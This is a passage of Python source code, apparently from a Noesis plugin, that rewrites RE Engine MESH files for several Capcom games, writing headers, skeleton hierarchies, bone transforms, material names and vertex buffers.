not bReWrite:\n\t\t\n\t\t#header\n\t\tf.seek(numNodesLocation)\n\t\tnumNodes = f.readUInt()\n\t\tf.seek(LOD1OffsetLocation)\n\t\tLOD1Offs = f.readUInt64()\n\t\tf.seek(vBuffHdrOffsLocation) \n\t\tvBuffHdrOffs = f.readUInt64() \n\t\tf.seek(bonesOffsLocation) \n\t\tbonesOffs = f.readUInt64() \n\t\tf.seek(nodesIndicesOffsLocation) \n\t\tnodesIndicesOffs = f.readUInt64() \n\t\tboneIndicesOffs = f.readUInt64() \n\t\tf.seek(namesOffsLocation)\n\t\tnamesOffs = f.readUInt64() \n\t\tf.seek(floatsHdrOffsLocation)\n\t\tfloatsHdrOffs = f.readUInt64() \n\t\t\n\t\tnewBBOffs = floatsHdrOffs\n\t\tf.seek(LOD1Offs)\n\t\tcountArray = f.read(\"16B\")\n\t\tnumMats = countArray[1]\n\t\t\t\n\t\t#vertex buffer header\n\t\tf.seek(vBuffHdrOffs)\n\t\tvertElemHdrOffs = f.readUInt64()\n\t\tvertBuffOffs = f.readUInt64()\n\t\tprint(f.tell(), vBuffHdrOffsLocation, vBuffHdrOffs, vertElemHdrOffs, vertBuffOffs)\n\t\t\n\t\tif isSF6:\n\t\t\tf.seek(8,1)\n\t\t\tprint(\"vBuffSz at\", f.tell())\n\t\t\tvertBuffSize = f.readUInt()\n\t\t\tface_buffOffsSF6 = f.readUInt()\n\t\t\tfaceBuffOffs = face_buffOffsSF6 + vertBuffOffs\n\t\t\tprint(faceBuffOffs)\n\t\t\tvertElemCountA = f.readUShort()\n\t\t\tvertElemCountB = f.readUShort()\n\t\telse:\n\t\t\tfaceBuffOffs = f.readUInt64()\n\t\t\tif sGameName == \"RERT\":\n\t\t\t\tuknIntA = f.readUInt()\n\t\t\t\tuknIntB = f.readUInt()\n\t\t\tvertBuffSize = f.readUInt()\n\t\t\tfaceBuffSize = f.readUInt()\n\t\t\tvertElemCountA = f.readUShort()\n\t\t\tvertElemCountB = f.readUShort()\n\t\t\tfaceBufferSize2nd = f.readUInt64()\n\t\t\tblendshapesOffset = f.readUInt()\n\t\t\n\t\tf.seek(vertElemHdrOffs)\n\t\tvertElemHeaders = []\n\t\tfor i in range(vertElemCountB):\n\t\t\tvertElemHeaders.append([f.readUShort(), f.readUShort(), f.readUInt()])\n\t\t\n\t\tfor i in range(len(vertElemHeaders)):\n\t\t\tif vertElemHeaders[i][0] == 3:\n\t\t\t\tbDoUV2 = 1\n\t\t\tif vertElemHeaders[i][0] == 4:\n\t\t\t\tbDoSkin = 1\n\t\t\tif vertElemHeaders[i][0] == 5:\n\t\t\t\tbDoColors = True\n\t\t\n\t\tnameOffsets = []\t\n\t\tf.seek(namesOffs)\n\t\tfor i in range(numNodes):\n\t\t\tnameOffsets.append(f.readUInt64())\n\t\t\n\t\tnames = []\n\t\tfor i in range(numNodes):\n\t\t\tf.seek(nameOffsets[i])\n\t\t\tnames.append(f.readString())\n\t\t\n\t\tboneNameAddressList = []\n\t\tmatNameAddressList = []\n\t\t\n\t\tif bDoSkin:\t\t\n\t\t\tboneRemapTable = []\n\t\t\tboneInds = []\n\t\t\t\n\t\t\t#Skeleton\n\t\t\tf.seek(bonesOffs+4)\n\t\t\tboneMapCount = f.readUInt()\n\t\t\t\n\t\t\tf.seek(bonesOffs)\t\t\t\n\t\t\tboneCount = f.readUInt()\n\t\t\tf.seek(12,1)\n\t\t\thierarchyOffs = f.readUInt64()\n\t\t\tlocalOffs = f.readUInt64()\n\t\t\tglobalOffs = f.readUInt64()\n\t\t\tinverseGlobalOffs = f.readUInt64()\n\t\t\t\t\n\t\t\tfor b in range(boneMapCount):\n\t\t\t\tboneRemapTable.append(f.readUShort())\n\t\t\t\n\t\t\tf.seek(boneIndicesOffs)\n\t\t\tfor i in range(boneCount):\n\t\t\t\tboneInds.append(f.readUShort())\n\t\t\t\tboneMapIndex = -1\n\t\t\t\tfor b in range(len(boneRemapTable)):\n\t\t\t\t\tif boneRemapTable[b] == i:\n\t\t\t\t\t\tboneMapIndex = b\n\t\t\t\n\t\t\tf.seek(namesOffs)\n\t\t\tfor i in range(countArray[1]): \n\t\t\t\tmatNameAddressList.append(f.readUInt64())\n\t\t\t\t\n\t\t\tfor i in range(boneCount):\n\t\t\t\tboneNameAddressList.append(f.readUInt64())\n\t\t\n\t\tif isSF6:\n\t\t\tf.seek(232)\n\t\telif sGameName == \"RERT\" or sGameName == \"ReVerse\" or sGameName == \"MHRise\" or sGameName == \"RE8\":\n\t\t\tf.seek(192)\n\t\telse:\n\t\t\tf.seek(200)\n\t\t\tf.seek(f.readUInt64())\n\t\t\t\n\t\toffsetInfo = []\n\t\tfor i in range(numLODs): #LODGroup Offsets\n\t\t\toffsetInfo.append(f.readUInt64())\n\t\t\n\t\t#prepare array of submeshes for export:\n\t\tmainmeshCount = 0\n\t\tfor ldc in range(numLODs): \n\t\t\tf.seek(offsetInfo[ldc])\n\t\t\tmainmeshCount = f.readUByte()\n\t\t\tf.seek(3,1)\n\t\t\tuknFloat = f.readFloat()\n\t\t\toffsetSubOffsets = f.readUInt64()\n\t\t\tf.seek(offsetSubOffsets)\n\t\t\tmeshOffsets = []\n\t\t\tfor i in range(mainmeshCount):\n\t\t\t\tmeshOffsets.append(f.readUInt64())\n\t\t\tfor mmc in range(mainmeshCount):\n\t\t\t\tf.seek(meshOffsets[mmc])\n\t\t\t\tmeshVertexInfo.append([f.readUByte(), f.readUByte(), f.readUShort(), f.readUInt(), f.readUInt(), f.readUInt()])\n\t\t\t\tfor smc in range(meshVertexInfo[mmc][1]):\n\t\t\t\t\tmatID = f.readUInt() + 1\n\t\t\t\t\tbFind = 0\n\t\t\t\t\tsourceGroupID = meshVertexInfo[len(meshVertexInfo)-1][0] if bReadGroupIds else (mmc+1)\n\t\t\t\t\tfor s in range(len(objToExport)):\n\t\t\t\t\t\t#print (meshesToExport[objToExport[s]].name)\n\t\t\t\t\t\tsName = meshesToExport[objToExport[s]].name.split('_')\n\t\t\t\t\t\tthisGroupID = sName[3]\n\t\t\t\t\t\tif int(sName[1]) == (ldc+1) and int(thisGroupID) == (sourceGroupID) and ((not bUseOldNamingScheme and int(sName[5]) == (smc+1)) or (bUseOldNamingScheme and int(sName[5]) == (matID))):\n\t\t\t\t\t\t\tsubmeshes.append(copy.copy(meshesToExport[objToExport[s]]))\n\t\t\t\t\t\t\tbFind = 1\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif not bFind: #create invisible placeholder submesh\n\t\t\t\t\t\tblankMeshName = \"LODGroup_\" + str(ldc+1) + \"_MainMesh_\" + str(sourceGroupID) + \"_SubMesh_\" + str(smc+1)\n\t\t\t\t\t\tblankTangent = NoeMat43((NoeVec3((0,0,0)), NoeVec3((0,0,0)), NoeVec3((0,0,0)), NoeVec3((0,0,0)))) \n\t\t\t\t\t\tblankWeight = NoeVertWeight([0,0,0,0,0,0,0,0], [1,0,0,0,0,0,0,0])\n\t\t\t\t\t\tblankMesh = NoeMesh([0, 1, 2], [NoeVec3((0.00000000001,0,0)), NoeVec3((0,0.00000000001,0)), NoeVec3((0,0,0.00000000001))], blankMeshName, blankMeshName, -1, -1) #positions and faces\n\t\t\t\t\t\tblankMesh.setUVs([NoeVec3((0,0,0)), NoeVec3((0,0,0)), NoeVec3((0,0,0))]) #UV1\n\t\t\t\t\t\tblankMesh.setUVs([NoeVec3((0,0,0)), NoeVec3((0,0,0)), NoeVec3((0,0,0))], 1) #UV2\n\t\t\t\t\t\tblankMesh.setTangents([blankTangent, blankTangent, blankTangent]) #Normals + Tangents\n\t\t\t\t\t\tif bDoColors:\n\t\t\t\t\t\t\tblankMesh.setColors((NoeVec4((1,1,1,1)), NoeVec4((1,1,1,1)), NoeVec4((1,1,1,1)))) #vertex colors\n\t\t\t\t\t\tif bonesOffs > 0:\n\t\t\t\t\t\t\tblankMesh.setWeights([blankWeight,blankWeight,blankWeight]) #Weights + Indices\n\t\t\t\t\t\tsubmeshes.append(blankMesh)\n\t\t\t\t\t\tprint (blankMeshName, \"not found in FBX\")\n\t\t\t\t\tf.seek(12, 1)\t\n\t\tf.seek(0)\n\t\t\n\tif (len(submeshes) == 0):\n\t\treturn 0\n\t\n\t#will be bounding box:\n\tmin = NoeVec4((10000.0, 10000.0, 10000.0, fDefaultMeshScale))\n\tmax = NoeVec4((-10000.1, -10000.1, -10000.1, fDefaultMeshScale))\t\n\t\n\tbColorsExist = False\n\tfor mesh in submeshes:\n\t\tfor col in mesh.colors:\n\t\t\tif not bColorsExist and len(col) > 1:\n\t\t\t\tbColorsExist = True\n\t\t\t\tprint (\" Vertex colors detected\")\n\t\t\t\tbreak\n\t\tif bReWrite and bColorsExist:\n\t\t\tbDoColors = True\n\t\t\tbreak\n\t\t\t\n\tif bRotateBonesUpright:\n\t\trot_mat = NoeMat43(((1, 0, 0), (0, -1, 0), (0, 0, 1), (0, 0, 0)))\n\t\tfor bone in mdl.bones:\n\t\t\tbone.setMatrix( (bone.getMatrix().inverse() * rot_mat).inverse()) \t#rotate back to normal\n\t\t\t\n\t\t\t\n\t#NEW WAY (rewrite)\n\t#====================================================================\n\tif bReWrite: #save new mesh order\t\n\t\tbDoUV2 = True\n\t\t#prepare new submesh order:\n\t\tnewMainMeshes = []; newSubMeshes = []; newMaterialNames = []; \n\t\tindicesBefore = 0; vertsBefore = 0; mmIndCount = 0; mmVertCount = 0\n\t\tlastMainMesh = submeshes[0].name.split('_')[3]\n\t\tmeshOffsets= []\n\t\t\n\t\tfor i, mesh in enumerate(submeshes):\n\t\t\tmat = mesh.name.split('__', 1)[1]\n\t\t\tif mat not in newMaterialNames:\n\t\t\t\tnewMaterialNames.append(mat)\n\t\t\t\t\n\t\tnumMats = len(newMaterialNames)\n\t\tprint (\"\\nMESH Material Count:\", numMats)\n\t\t\n\t\tfor i, mesh in enumerate(submeshes):\n\t\t\tsplitName = mesh.name.split('_')\n\t\t\tsplitMatNames = mesh.name.split('__', 1)\n\t\t\tkey = len(newMainMeshes)\n\t\t\tnewGroupID = splitName[3]\n\t\t\t#try:\n\t\t\tif len(splitName) <= 6:\n\t\t\t\tbReWrite = False\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tnewMaterialID = newMaterialNames.index(splitMatNames[1])\n\t\t\t\tif newGroupID != lastMainMesh:\n\t\t\t\t\tnewMainMesh = (newSubMeshes, mmVertCount, mmIndCount, int(lastMainMesh))\n\t\t\t\t\tnewMainMeshes.append(newMainMesh)\n\t\t\t\t\tnewSubMeshes = []; mmIndCount = 0; mmVertCount = 0\n\t\t\t\t\tlastMainMesh = newGroupID\n\t\t\t\t\t\n\t\t\t\tnewSubMeshes.append((newMaterialID, len(mesh.indices) , vertsBefore, indicesBefore))\n\t\t\t\tvertsBefore += len(mesh.positions)\n\t\t\t\tmmVertCount += len(mesh.positions)\n\t\t\t\tindicesBefore += len(mesh.indices)\n\t\t\t\tmmIndCount += len(mesh.indices)\n\t\t\t\tif i == len(submeshes)-1:\n\t\t\t\t\tnewMainMesh = (newSubMeshes, mmVertCount, mmIndCount, int(lastMainMesh))\n\t\t\t\t\tnewMainMeshes.append(newMainMesh)\n\t\t\t#except:\n\t\t\t#\tprint(\"Failed to parse mesh name\", mesh.name)\n\t\t\n\t\t#print(newMainMeshes)\n\t\t\n\t\tLOD1Offs = 168 if isSF6 else 128 if (sGameName == \"RERT\" or sGameName == \"RE8\" or sGameName == \"MHRise\") else 136\n\t\t\n\t\t#header:\n\t\tbs.writeUInt(1213416781) #MESH\n\t\tif sGameName == \"RE2\" or sGameName == \"RE3\" or sGameName == \"DMC5\":\n\t\t\tbs.writeUInt(386270720) #version no\n\t\telif sGameName == \"RE8\":\n\t\t\tbs.writeUInt(2020091500)\n\t\telif sGameName == \"MHRise\":\n\t\t\tbs.writeUInt(2007158797)\n\t\telif sGameName == \"RERT\":\n\t\t\tbs.writeUInt(21041600)\n\t\telif isSF6 == 2: \n\t\t\tbs.writeUInt(220822879) #RE4R\n\t\telif isSF6 == True or True:\n\t\t\tbs.writeUInt(220705151) #SF6 and all others\n\t\t\t\n\t\tbs.writeUInt(0) #Filesize\n\t\tbs.writeUInt(0) #LODGroupHash\n\t\t\n\t\tif isSF6:\n\t\t\tbs.writeUByte(3) #flag\n\t\t\tbs.writeUByte(2) #solvedOffset\n\t\t\tbs.writeUShort(0) #uknSF6\n\t\t\tbs.writeUInt(len(mdl.bones) * bDoSkin + numMats) #Node Count\n\t\t\tbs.writeUInt64(0) #ukn\n\t\t\tbs.writeUInt64(LOD1Offs) #LODOffs\n\t\t\tbs.writeUInt64(0) #ShadowLODOffs\n\t\t\tbs.writeUInt64(0) #OccluderMeshOffs\n\t\t\tbs.writeUInt64(0) #bsHeaderOffs\n\t\t\tbs.writeUInt64(0) #ukn2\n\t\t\tbs.writeUInt64(0) #vert_buffOffs\n\t\t\tbs.writeUInt64(0) #normalsRecalcOffs\n\t\t\tbs.writeUInt64(0) #groupPivotOffs \n\t\t\tbs.writeUInt64(0) #BBHeaderOffs\n\t\t\tbs.writeUInt64(0) #bonesOffs\n\t\t\tbs.writeUInt64(0) #matIndicesOffs\n\t\t\tbs.writeUInt64(0) #boneIndicesOffs\n\t\t\tbs.writeUInt64(0) #bsIndicesOffs\n\t\t\tbs.writeUInt64(0) #ukn3\n\t\t\tbs.writeUInt64(0) #namesOffs\n\t\t\tbs.writeUInt64(0) #verticesOffset\n\t\t\tbs.writeUInt64(0) #ukn4/padding\n\t\telse:\n\t\t\tbs.writeUShort(3) #flag\n\t\t\tbs.writeUShort(len(mdl.bones) * bDoSkin + numMats) #Node Count\n\t\t\tbs.writeUInt(0) #LODGroupHash\n\t\t\tbs.writeUInt64(LOD1Offs) #LODs address\n\t\t\tbs.writeUInt64(0) #Shadow LODs address\n\t\t\tbs.writeUInt64(0) #occluderMeshOffs\n\t\t\tbs.writeUInt64(0) #Bones Address\n\t\t\tbs.writeUInt64(0) #Normal Recalculation Address\n\t\t\tbs.writeUInt64(0) #Blendshapes Header Address\n\t\t\tbs.writeUInt64(0) #Floats Header Address\n\t\t\tbs.writeUInt64(0) #Vertex Buffer Headers Address\n\t\t\tbs.writeUInt64(0)\n\t\t\tbs.writeUInt64(0) #Material Indices Table Address\n\t\t\tbs.writeUInt64(0) #Bones Indices Table Address\n\t\t\tbs.writeUInt64(0) #Blendshapes Indices Table Address\n\t\t\tbs.writeUInt64(0) #Names Address\n\t\t\tif sGameName == \"RE2\" or sGameName == \"RE3\" or sGameName == \"DMC5\":\n\t\t\t\tbs.writeUInt64(0)\n\t\t\n\t\t#LODs:\n\t\tbs.writeByte(1) #set to one LODGroup\n\t\tbs.writeByte(len(newMaterialNames)) #mat count\n\t\tbs.writeByte(2) #set to 2 UV channels\n\t\tbs.writeByte(1) #unknown\n\t\tbs.writeUInt(len(submeshes)) #total mesh count\n\t\t\n\t\tif BBskipBytes==8:\n\t\t\tbs.writeUInt64(0)\n\t\t\n\t\tfor i in range(6):\n\t\t\tbs.writeUInt64(0) #main bounding sphere+box placeholder\n\t\t\n\t\tbs.writeUInt64(bs.tell()+8) #offset to LODOffsets\n\t\t\n\t\tif (bs.tell()+8) % 16 != 0:\n\t\t\tbs.writeUInt64(bs.tell()+16) #first (and only) LODOffset\n\t\telse:\n\t\t\tbs.writeUInt64(bs.tell()+8)\n\t\tpadToNextLine(bs)\n\t\t\t\n\t\t#Write LODGroup:\n\t\tbs.writeUInt(len(newMainMeshes))\n\t\tLODDist = openOptionsDialog.LODDist if openOptionsDialog else 0.02667995\n\t\tbs.writeFloat(LODDist) #unknown, maybe LOD distance change\n\t\tbs.writeUInt64(bs.tell()+8) #Mainmeshes offset\n\t\t\n\t\tnewMainMeshesOffset = bs.tell()\n\t\tfor i in range(len(newMainMeshes)):\n\t\t\tbs.writeUInt64(0)\n\t\t\n\t\twhile(bs.tell() % 16 != 0):\n\t\t\tbs.writeByte(0)\n\n\t\t#write new MainMeshes:\n\t\tfor i, mm in enumerate(newMainMeshes):\n\t\t\t\n\t\t\tnewMMOffset = bs.tell()\n\t\t\tbs.writeByte(mm[len(mm)-1]) #Group ID\n\t\t\tbs.writeByte(len(mm[0])) #Submesh count\n\t\t\tbs.writeShort(0)\n\t\t\tbs.writeInt(0)\n\t\t\tbs.writeUInt(mm[1]) #MainMesh index count\n\t\t\tbs.writeUInt(mm[2]) #MainMesh vertex count\n\t\t\tmeshVertexInfo.append([i, len(mm[0]), 0, 0, mm[1], mm[2]])\n\t\t\t\n\t\t\tfor j, submesh in enumerate(mm[0]):\n\t\t\t\t#print (\"New mainmesh GroupID\", mm[len(mm)-1], \"submesh\", j)\n\t\t\t\tbs.writeUInt(submesh[0])\n\t\t\t\tbs.writeUInt(submesh[1])\n\t\t\t\tbs.writeUInt(submesh[2])\n\t\t\t\tbs.writeUInt(submesh[3])\n\t\t\t\tif sGameName != \"RE7\" and sGameName != \"RE2\" and sGameName != \"RE3\" and sGameName != \"DMC5\":\n\t\t\t\t\tbs.writeUInt64(0)\n\t\t\tpos = bs.tell()\n\t\t\tbs.seek(newMainMeshesOffset + i * 8)\n\t\t\tbs.writeUInt64(newMMOffset)\n\t\t\tmeshOffsets.append(newMMOffset)\n\t\t\tbs.seek(pos)\n\t\t\n\t\tbonesOffs = bs.tell()\n\t\t\n\t\tif bDoSkin:\n\t\t\tbs.seek(bonesOffsLocation)\n\t\telse:\n\t\t\tbs.seek(nodesIndicesOffsLocation) #to material indices offset instead\n\t\t\t\n\t\tbs.writeUInt64(bonesOffs)\n\t\tbs.seek(bonesOffs)\n\t\tmainmeshCount = len(newMainMeshes)\n\t\t\n\tif bDoUV2:\n\t\tvertElemCount += 1\n\tif bDoColors:\n\t\tvertElemCount += 1\n\n\tif (bReWrite or bWriteBones): \n\t\tif bDoSkin:\n\t\t\tboneRemapTable = []\n\t\t\t\n\t\t\tmaxBoneMapLength = 256 if not isSF6 else 1024\n\t\t\t\n\t\t\tif bAddNumbers and len(newSkinBoneMap) > 0:\n\t\t\t\tboneMapLength = len(newSkinBoneMap)\n\t\t\telse:\n\t\t\t\tboneMapLength = maxBoneMapLength if len(mdl.bones) > maxBoneMapLength else len(mdl.bones)\n\n\t\t\tif not bReWrite:\n\t\t\t\tbs.writeBytes(f.readBytes(bonesOffs)) #to bone name start\n\t\t\n\t\t\t#write new skeleton header\n\t\t\tbs.writeUInt(len(mdl.bones)) #bone count\n\t\t\tbs.writeUInt(boneMapLength) #bone map count\n\n\t\t\tfor b in range(5): \n\t\t\t\tbs.writeUInt64(0)\n\t\t\t\n\t\t\t#write skin bone map:\n\t\t\tif bAddNumbers and len(newSkinBoneMap) > 0:\n\t\t\t\tfor i in range(len(newSkinBoneMap)):\n\t\t\t\t\tbs.writeUShort(newSkinBoneMap[i])\n\t\t\t\tboneRemapTable = newSkinBoneMap\n\t\t\telse:\n\t\t\t\tfor i in range(boneMapLength): \n\t\t\t\t\tbs.writeUShort(i)\n\t\t\t\t\tboneRemapTable.append(i)\n\t\t\tpadToNextLine(bs)\n\t\t\t\n\t\t\tif (len(boneRemapTable) > maxBoneMapLength):\n\t\t\t\tprint (\"WARNING! Bone map is greater than\", maxBoneMapLength, \"bones!\")\n\t\t\t\n\t\t\t#write hierarchy\n\t\t\tnewHierarchyOffs = bs.tell()\n\t\t\tfor i, bone in enumerate(mdl.bones):\n\t\t\t\tbs.writeUShort(i) # bone index\n\t\t\t\tbs.writeUShort(bone.parentIndex)\n\t\t\t\tnextSiblingIdx = -1\n\t\t\t\tfor j, bn in enumerate(mdl.bones):\n\t\t\t\t\tif i < j and bone != bn and bone.parentIndex == bn.parentIndex:\n\t\t\t\t\t\tnextSiblingIdx = j\n\t\t\t\t\t\tbreak\n\t\t\t\tbs.writeUShort(nextSiblingIdx)\n\t\t\t\tnextChildIdx = -1\n\t\t\t\tfor j, bn in enumerate(mdl.bones):\n\t\t\t\t\tif bn.parentIndex == i:\n\t\t\t\t\t\tnextChildIdx = j\n\t\t\t\t\t\tbreak\n\t\t\t\tbs.writeUShort(nextChildIdx)\n\t\t\t\tcousinIdx = -1\n\t\t\t\tcousinBoneName = \"\"\n\t\t\t\tbnName = bonesList[i].lower()\n\t\t\t\tif bnName.startswith('r_'): \n\t\t\t\t\tcousinBoneName = bnName.replace('r_','l_')\n\t\t\t\telif bnName.startswith('l_'):\n\t\t\t\t\tcousinBoneName = bnName.replace('l_','r_')\n\t\t\t\telif isSF6 or bnName.startswith(\"root\") or bnName.startswith(\"cog\") or bnName.startswith(\"hip\") \\\n\t\t\t\tor bnName.startswith(\"waist\") or bnName.startswith(\"spine\") or bnName.startswith(\"chest\") \\\n\t\t\t\tor bnName.startswith(\"stomach\") or bnName.startswith(\"neck\") or bnName.startswith(\"head\") \\\n\t\t\t\tor bnName.startswith(\"null_\"):\n\t\t\t\t\tcousinIdx = i\n\t\t\t\tif cousinBoneName != \"\":\n\t\t\t\t\tfor j in range(len(mdl.bones)):\n\t\t\t\t\t\tif bonesList[j].lower() == cousinBoneName:\n\t\t\t\t\t\t\tcousinIdx = j\n\t\t\t\t\t\t\tbreak\n\t\t\t\tbs.writeUShort(cousinIdx)\n\t\t\t\tpadToNextLine(bs)\n\t\t\n\t\t\t#prepare transform data:\n\t\t\tlocalTransforms = []\n\t\t\tglobalTransforms = []\n\t\t\tfor bone in mdl.bones:\n\t\t\t\tboneGlobalMat = bone.getMatrix().toMat44()\n\t\t\t\tboneGlobalMat[3] = boneGlobalMat[3] * 0.01\n\t\t\t\tboneGlobalMat[3][3] = 1.0\n\t\t\t\tglobalTransforms.append(boneGlobalMat)\n\t\t\t\tif bone.parentIndex != -1:\n\t\t\t\t\tpMat = mdl.bones[bone.parentIndex].getMatrix().toMat44()\n\t\t\t\t\tboneLocalMat = (bone.getMatrix().toMat44() * pMat.inverse())\n\t\t\t\t\tboneLocalMat[3] = boneLocalMat[3] * 0.01\n\t\t\t\t\tboneLocalMat[3][3] = 1.0\n\t\t\t\t\tlocalTransforms.append(boneLocalMat)\n\t\t\t\telse:\n\t\t\t\t\tlocalTransforms.append(boneGlobalMat)\n\t\t\t\n\t\t\t#write local bone transforms:\n\t\t\tnewLocalOffs = bs.tell()\n\t\t\tfor i in range(len(localTransforms)):\n\t\t\t\tbs.writeBytes(localTransforms[i].toBytes())\n\t\t\t\n\t\t\t#write global bone transforms:\n\t\t\tnewGlobalOffs = bs.tell()\n\t\t\tfor i in range(len(globalTransforms)):\n\t\t\t\tbs.writeBytes(globalTransforms[i].toBytes())\n\t\t\t\n\t\t\t#write inverse global bone transforms:\n\t\t\tnewInvGlobOffs = bs.tell()\n\t\t\tfor i in range(len(globalTransforms)):\n\t\t\t\tbs.writeBytes(globalTransforms[i].inverse().toBytes())\n\t\t\n\t\t#collect material names:\n\t\tmaterialNames = []\n\t\tif bReWrite:\n\t\t\tmaterialNames = newMaterialNames\n\t\telse:\n\t\t\tfor i in range(numMats): \n\t\t\t\tf.seek(matNameAddressList[i])\n\t\t\t\tmaterialNames.append(f.readString())\n\t\t\n\t\t#write material indices:\n\t\tnewMatIndicesOffs = bs.tell()\n\t\tfor i in range(numMats): \n\t\t\tif bReWrite:\n\t\t\t\tbs.writeUShort(i)\n\t\t\telse:\n\t\t\t\tf.seek(nodesIndicesOffs + i * 2)\n\t\t\t\tbs.writeUShort(f.readUShort())\n\t\tpadToNextLine(bs)\n\t\t\n\t\tif bDoSkin:\n\t\t\tboneInds = []\n\t\t\t#write bone map indices:\n\t\t\tnewBoneMapIndicesOffs = bs.tell()\n\t\t\tfor i in range(len(mdl.bones)): \n\t\t\t\tbs.writeUShort(numMats + i)\n\t\t\t\tboneInds.append(numMats + i)\n\t\t\tpadToNextLine(bs)\n\t\t\n\t\t#write names offsets:\n\t\tnewNamesOffs = bs.tell()\n\t\tnameStringsOffs = newNamesOffs + (numMats + len(mdl.bones) * bDoSkin) * 8\n\t\twhile nameStringsOffs % 16 != 0:\n\t\t\tnameStringsOffs += 1\n\t\t\n\t\tfor i in range(numMats): \n\t\t\tbs.writeUInt64(nameStringsOffs)\n\t\t\tnameStringsOffs += len(materialNames[i]) + 1\n\t\t\t\n\t\tif bDoSkin:\n\t\t\tfor i in range(len(mdl.bones)): \n\t\t\t\tbs.writeUInt64(nameStringsOffs)\n\t\t\t\tnameStringsOffs += len(bonesList[i]) + 1\n\t\tpadToNextLine(bs)\n\t\t\n\t\tnames = []\n\t\t#write name strings\n\t\tfor i in range(len(materialNames)):\n\t\t\tbs.writeString(materialNames[i])\n\t\t\tnames.append(materialNames[i])\n\t\tif bDoSkin:\n\t\t\tfor i in range(len(bonesList)): \n\t\t\t\tbs.writeString(bonesList[i])\n\t\t\t\tnames.append(bonesList[i])\n\t\tpadToNextLine(bs)\n\t\t\n\t\tif bDoSkin:\n\t\t\t#write bounding boxes\n\t\t\tnewBBOffs = bs.tell()\n\t\t\tbs.writeUInt64(len(newSkinBoneMap))\n\t\t\tbs.writeUInt64(bs.tell() + 8)\n\t\t\tfor i in range(len(newSkinBoneMap)):\n\t\t\t\tfor j in range(3): bs.writeFloat(-BoundingBoxSize)\n\t\t\t\tbs.writeFloat(1)\n\t\t\t\tfor j in range(3): bs.writeFloat(BoundingBoxSize)\n\t\t\t\tbs.writeFloat(1)\n\t\t\tnewVertBuffHdrOffs = bs.tell()\n\t\t\t\n\t\t\t#fix bones header\n\t\t\tbs.seek(bonesOffs + 16)\n\t\t\tbs.writeUInt64(newHierarchyOffs)\n\t\t\tbs.writeUInt64(newLocalOffs)\n\t\t\tbs.writeUInt64(newGlobalOffs)\n\t\t\tbs.writeUInt64(newInvGlobOffs)\n\t\telse:\n\t\t\tnewVertBuffHdrOffs = bs.tell()\n\t\t\n\t\t#fix main header\n\t\tbs.seek(numNodesLocation)\n\t\tbs.writeUShort(numMats + len(mdl.bones) * bDoSkin) #numNodes\n\t\t\t\n\t\tif bDoSkin:\n\t\t\tbs.seek(floatsHdrOffsLocation)\n\t\t\tbs.writeUInt64(newBBOffs)\n\t\t\tbs.seek(vBuffHdrOffsLocation)\n\t\t\tbs.writeUInt64(newVertBuffHdrOffs)\n\t\t\tbs.seek(nodesIndicesOffsLocation)\n\t\t\tbs.writeUInt64(newMatIndicesOffs)\n\t\t\tbs.writeUInt64(newBoneMapIndicesOffs)\n\t\telse:\n\t\t\tbs.seek(vBuffHdrOffsLocation)\n\t\t\tbs.writeUInt64(newVertBuffHdrOffs)\n\t\tbs.seek(namesOffsLocation)\n\t\tbs.writeUInt64(newNamesOffs)\n\t\t\n\t\t#fix vertexBufferHeader\n\t\tbs.seek(newVertBuffHdrOffs)\n\t\t\n\t\tSF6SkipBytes = 0 if not isSF6 else 32\n\t\tnewVertBuffOffs = newVertBuffHdrOffs + 72 + SF6SkipBytes + 8*bDoSkin + 8*bDoUV2 + 8*bDoColors + 2*RERTBytes\n\t\t\n\t\tbs.writeUInt64(bs.tell() + 48 + SF6SkipBytes + 2*RERTBytes)\n\t\tbs.writeUInt64(newVertBuffOffs)\n\t\t\n\t\tif sGameName == \"RERT\":\n\t\t\tbs.writeUInt64(0)\n\t\tbs.writeUInt64(0)\n\t\tbs.writeUInt64(0)\n\t\tbs.writeShort(vertElemCount)\n\t\tbs.writeShort(vertElemCount)\n\t\tbs.writeUInt64(0)\n\t\tbs.writeInt(-newVertBuffOffs)\n\t\t\n\t\tif isSF6:\n\t\t\tfor i in range(4):\n\t\t\t\tbs.writeUInt64(0)\n\t\tif sGameName == \"RERT\": # and (bs.tell() % 8) != 0:\n\t\t\tbs.writeUInt64(0)\n\t\t\n\t\tbs.writeUInt64(786432) #positions VertElemHeader\n\t\tbs.writeUInt64(524289) #normal VertElemHeader\n\t\tbs.writeUInt64(262146) #UV0 VertElemHeader\n\t\tif bDoUV2:\n\t\t\tbs.writeUInt64(262147) #UV2 VertElemHeader\n\t\tif bDoSkin:\n\t\t\tbs.writeUInt64(1048580) #Skin VertElemHeader\n\t\tif bDoColors:\n\t\t\tbs.writeUInt64(262149) #Colors VertElemHeader\n\t\t\t\n\telif not bReWrite:\n\t\tbs.writeBytes(f.readBytes(vertBuffOffs)) #copy to vertex buffer header\n\t\tnewVertBuffHdrOffs = bs.tell()\n\n\t\n\tvertexStrideStart = 0\n\tsubmeshVertexCount = []\n\tsubmeshVertexStride = []\n\tsubmeshFaceCount = []\n\tsubmeshFaceStride = []\n\tsubmeshFaceSize = []\n\tboneWeightBBs = {}\n\n\tfor mesh in submeshes:\n\t\tif len(mesh.morphList) > 0:\n\t\t\tmesh.positions = mesh.morphList[0].positions\n\n\t#Write vertex data\n\tvertexPosStart = bs.tell()\n\tfor mesh in submeshes:\n\t\tsubmeshVertexStride.append(vertexStrideStart)\n\t\tfor vcmp in mesh.positions:\n\t\t\tbs.writeBytes((vcmp * newScale).toBytes())\n\t\t\tif vcmp[0] > max[0]: max[0] = vcmp[0] \t#calculate main bounding box\n\t\t\tif vcmp[0] < min[0]: min[0] = vcmp[0]\n\t\t\tif vcmp[1] > max[1]: max[1] = vcmp[1]\n\t\t\tif vcmp[1] < min[1]: min[1] = vcmp[1]\n\t\t\tif vcmp[2] > max[2]: max[2] = vcmp[2]\n\t\t\tif vcmp[2] < min[2]: min[2] = vcmp[2]\n\t\tsubmeshVertexCount.append(len(mesh.positions))\n\t\tvertexStrideStart += len(mesh.positions)\n\t\t\n\tnormalTangentStart = bs.tell()\t\n\tfor m, mesh in enumerate(submeshes):\n\t\tfor v, vcmp in enumerate(mesh.tangents):\n\t\t\tbs.writeByte(int(vcmp[0][0] * 127 + 0.5000000001)) #normal\n\t\t\tbs.writeByte(int(vcmp[0][1] * 127 + 0.5000000001))\n\t\t\tbs.writeByte(int(vcmp[0][2] * 127 + 